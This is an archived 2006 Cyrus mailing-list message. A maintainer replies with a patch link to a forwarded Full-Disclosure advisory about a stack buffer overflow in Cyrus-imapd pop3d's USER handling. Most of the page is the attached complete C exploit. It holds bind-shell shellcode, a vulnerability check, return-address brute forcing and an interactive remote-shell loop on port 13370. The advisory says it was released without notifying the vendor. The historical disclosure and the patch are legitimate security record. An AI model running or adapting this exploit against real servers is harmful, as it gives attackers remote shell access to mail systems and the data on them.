Re: [Fwd: [Full-disclosure] Cyrus IMAPD pop3d remote compromise aka cyrusFUCK3d]

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Sven Mueller wrote:
Since I didn't see this yet on either -info or -devel, I hereby forward
the security alert (if you want to call it that way, in this case, it's
a zero-day-exploit). I've investigated the issue a little bit, and as
far as I could see, the 2.2 line isn't affected by the problem. If it
is, however, I would really like to see a sufficient patch for it.

Here's the patch that's in 2.3.4:

https://bugzilla.andrew.cmu.edu/cgi-bin/cvsweb.cgi/src/cyrus/imap/pop3d.c.diff?r1=1.144.2.41&r2=1.144.2.42&f=u



------------------------------------------------------------------------

Subject:
[Full-disclosure] Cyrus IMAPD pop3d remote compromise aka cyrusFUCK3d
From:
kcope <kingcope@xxxxxxx>
Date:
Sun, 21 May 2006 13:52:05 +0200
To:
full-disclosure@xxxxxxxxxxxxxxxxx

To:
full-disclosure@xxxxxxxxxxxxxxxxx


Shouts to blackzero, alex, wY!, revoguard, bogus, wtfomg and all those yankees
LOVE TO LISA :-)
genuine advisory by kcope/zeroday discovered by kcope!!! kingcope[at]gmx.net
public disclosure 21. May 2006
vendor was not notified (mail quota exceeded????) fuck it
let's get to business
---------------------------------------------------------------------------------------------------------------------
Cyrus-imapd pop3d Remote Stack Based Buffer Overrun

Description
There is a trivially remotely exploitable Buffer Overrun in Cyrus-imapd's pop3d. The issue is not present in the default install, Cyrus-imapd has to have the
popsubfolders set to 1 in imapd.conf.
 From the manpage:
popsubfolders: 1
Allow access to subfolders of INBOX via POP3 by using userid+subfolder syntax as the authentication/authorization id.

When popsubfolders is set one can overflow a stack buffer by sending an overly long
USER command argument to the remote pop3d.

in cyrus-imapd-2.3.2/imap/pop3d.c
pop3d_canon_user is called every time a USER command is supplied to the pop3 server
with ulen=0;
look specifically at the
char userbuf[MAX_MAILBOX_NAME+1], *p;
...
if (!ulen) ulen = strlen(user);
...
memcpy(userbuf, user, ulen);
   userbuf[ulen] = '\0';
memcpy will overflow the userbuf buffer, if the user is above MAX_MAILBOX_NAME+1,
no length check is done in this routine.


--- snip ---
static int popd_canon_user(sasl_conn_t *conn, void *context,
              const char *user, unsigned ulen,
              unsigned flags, const char *user_realm,
              char *out, unsigned out_max, unsigned *out_ulen)
{
   char userbuf[MAX_MAILBOX_NAME+1], *p;
   size_t n;
   int r;

   if (!ulen) ulen = strlen(user);

   if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
   /* make a working copy of the auth[z]id */
   memcpy(userbuf, user, ulen);
   userbuf[ulen] = '\0';
   user = userbuf;

   /* See if we're trying to access a subfolder */
   if ((p = strchr(userbuf, '+'))) {
       n = config_virtdomains ? strcspn(p, "@") : strlen(p);

       if (flags & SASL_CU_AUTHZID) {
       /* make a copy of the subfolder */
       if (popd_subfolder) free(popd_subfolder);
       popd_subfolder = xstrndup(p, n);
       }

       /* strip the subfolder from the auth[z]id */
       memmove(p, p+n, strlen(p+n)+1);
       ulen -= n;
   }
   }

   r = mysasl_canon_user(conn, context, user, ulen, flags, user_realm,
             out, out_max, out_ulen);

   if (!r && popd_subfolder && flags == SASL_CU_AUTHZID) {
   /* If we're only doing the authzid, put back the subfolder
      in case its used in the challenge/response calculation */
   n = strlen(popd_subfolder);
   if (*out_ulen + n > out_max) {
       sasl_seterror(conn, 0, "buffer overflow while canonicalizing");
       r = SASL_BUFOVER;
   }
   else {
       p = (config_virtdomains && (p = strchr(out, '@'))) ?
       p : out + *out_ulen;
       memmove(p+n, p, strlen(p)+1);
       memcpy(p, popd_subfolder, n);
       *out_ulen += n;
   }
   }

   return r;
}
--- snip ---


Attached is a working zeroday exploit for the mentioned vulnerability.
It brute forces the stack offset to spawn a uid/gid cyrus shell.
Maybe it needs a bit of tweaking to exploit cyrus servers in the wild,
since it was only tested locally on a debian install.
No further attempts to gain uid/gid root where done... maybe setreuid in shellcode?










/* zeroday warez
* !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!
*********************************************
* cyruspop3d.c - cyrus pop3d remote exploit by kcope
* tested on cyrus-imapd-2.3.2,linux
*
* bug found 23 Apr 2006 by kcope
*--------------------------------------------
*
* imapd/pop3d.c line 1830 :
* char userbuf[MAX_MAILBOX_NAME+1], *p;
* ...
* if (!ulen) ulen = strlen(user);
*   if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
*    memcpy(userbuf, user, ulen);
*    userbuf[ulen] = '\0';
* ...
* popsubfolders has to be enabled
*
* thnx to blackzero revoguard wY! qobaiashi bogus alex
* Love to Lisa :-)
*********************************************
* !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>

#define POP3PORT 110
#define BINDPORT 13370

unsigned char shellcode[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";

int do_connect (char *remotehost, int port)
{
   static struct hostent *host;
   static struct sockaddr_in addr;
   static int done=0;
   int s;
          if (!inet_aton(remotehost, &addr.sin_addr) && (done != 1))
   {
       host = gethostbyname(remotehost);
       if (!host)
       {
           perror("gethostbyname() failed");
           return -1;
       }
       addr.sin_addr = *(struct in_addr*)host->h_addr;
   }          s = socket(PF_INET, SOCK_STREAM, 0);
   if (s == -1)
   {
       close(s);
       perror("socket() failed");
       return -1;
   }          addr.sin_port = htons(port);
   addr.sin_family = AF_INET;

   if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
   {
       close(s);
       if (port == POP3PORT) perror("connect() failed");
       return -1;
   }          done=1;
   return s;
}

void do_exploit(int sock, unsigned int returnaddr)
{
   char nops[360];
   char nops2[100];
   char exploitbuffer[1024];
   char recvbuf[30];
      memset(&nops[0], '\0', sizeof(nops));
   memset(&nops[0], 'A', 352);
   memset(&nops2[0], '\0', sizeof(nops2));
   memset(&nops2[0], 'A', 90);

   while (1) {
       recv(sock, recvbuf, 1, 0);
       if ((recvbuf[0] == '\r') || (recvbuf[0] == '\n')) break;
} sprintf(exploitbuffer, "USER %s%s%s\r\n", nops, shellcode, nops2);
      exploitbuffer[strlen(exploitbuffer)-1] = (returnaddr >> 24) & 0xff;
   exploitbuffer[strlen(exploitbuffer)-2] = (returnaddr >> 16) & 0xff;
   exploitbuffer[strlen(exploitbuffer)-3] = (returnaddr >> 8) & 0xff;
   exploitbuffer[strlen(exploitbuffer)-4] = (returnaddr) & 0xff;

   send(sock, exploitbuffer, strlen(exploitbuffer), 0);
   recv(sock, recvbuf, sizeof(recvbuf)-1, 0);
}

int do_checkvulnerable(int sock) {
   char checkbuffer[1024];
   char recvbuffer[10];
      memset(&checkbuffer[0], '\0', sizeof(checkbuffer)-1);
   memset(&checkbuffer[0], 'A', sizeof(checkbuffer)-2);
   checkbuffer[0]='U';
   checkbuffer[1]='S';
   checkbuffer[2]='E';
   checkbuffer[3]='R';
   checkbuffer[4]=' ';
   checkbuffer[sizeof(checkbuffer)-3]='\r';
   checkbuffer[sizeof(checkbuffer)-2]='\n';
      while (1) {
       recv(sock, recvbuffer, 1, 0);
       if ((recvbuffer[0] == '\r') || (recvbuffer[0] == '\n')) break;
   }
      send(sock, checkbuffer, strlen(checkbuffer), 0);
if (recv(sock, recvbuffer, sizeof(recvbuffer)-1, MSG_WAITALL) < 3)
       return 0;
      return -1;
}

int do_remote_shell(int sockfd)
{
   while(1)
        {
           fd_set fds;
           FD_ZERO(&fds);
           FD_SET(0,&fds);
           FD_SET(sockfd,&fds);
           if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
           {
              int cnt;
              char buf[1024];
              if(FD_ISSET(0,&fds))
              {
                 if((cnt=read(0,buf,1024))<1)
                 {
                    if(errno==EWOULDBLOCK||errno==EAGAIN)
                      continue;
                    else
                      break;
                 }
                 write(sockfd,buf,cnt);
              }
              if(FD_ISSET(sockfd,&fds))
              {
                 if((cnt=read(sockfd,buf,1024))<1)
                 {
                      if(errno==EWOULDBLOCK||errno==EAGAIN)
                        continue;
                      else
                        break;
                 }
                 write(1,buf,cnt);
              }
           }
        }               }

int main(int argc, char **argv)
{
   char remotehost[255];
   int s,s2,i;
   unsigned int returnaddr;
      printf("cyrus pop3d remote exploit [kcope/2006]\n");
      if (argc < 3) {
printf("usage: %s <remote host> <brute force start return address>\n", argv[0]);
       printf("eg: %s localhost bfffa000\n", argv[0]);
       return 1;
   }

   strcpy(remotehost, argv[1]); //uhoho
   if (sscanf(argv[2], "%8x", &returnaddr) == 0) {
       printf("Specify valid start return address\n");
       return 1;
   }
      printf("Checking if vulnerable... ");
   s=do_connect(remotehost, POP3PORT);
   if (do_checkvulnerable(s) == -1) {
close(s); printf("\ncyrus pop3d seems not to be vulnerable\nno popsubfolders defined at remote host?\n");
       return 1;
   }
   close(s);       printf("SUCCESS!\n");
      while (returnaddr < 0xbfffffff) {
       returnaddr+=16;
          printf("CRACKADDR = %4x\n", returnaddr);
       fflush(stdout);
       s=do_connect(remotehost, POP3PORT);
       if (s==-1)
           return 1;

       do_exploit(s, returnaddr);
       for (i=0;i<2;i++) {
           if ((s2=do_connect(remotehost, BINDPORT)) != -1) {
               printf("\nALEX,ALEX WE GOT IT!!!\n");
               do_remote_shell(s2);
               return 0;
           }
           close(s2);
       }
              close(s);
   }
              return 0;
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


--
Kenneth Murchison
Systems Programmer
Project Cyrus Developer/Maintainer
Carnegie Mellon University
----
Cyrus Home Page: http://asg.web.cmu.edu/cyrus
Cyrus Wiki/FAQ: http://cyruswiki.andrew.cmu.edu
List Archives/Info: http://asg.web.cmu.edu/cyrus/mailing-list.html

[Index of Archives]     [Cyrus SASL]     [Squirrel Mail]     [Asterisk PBX]     [Video For Linux]     [Photo]     [Yosemite News]     [gtk]     [KDE]     [Gimp on Windows]     [Steve's Art]

  Powered by Linux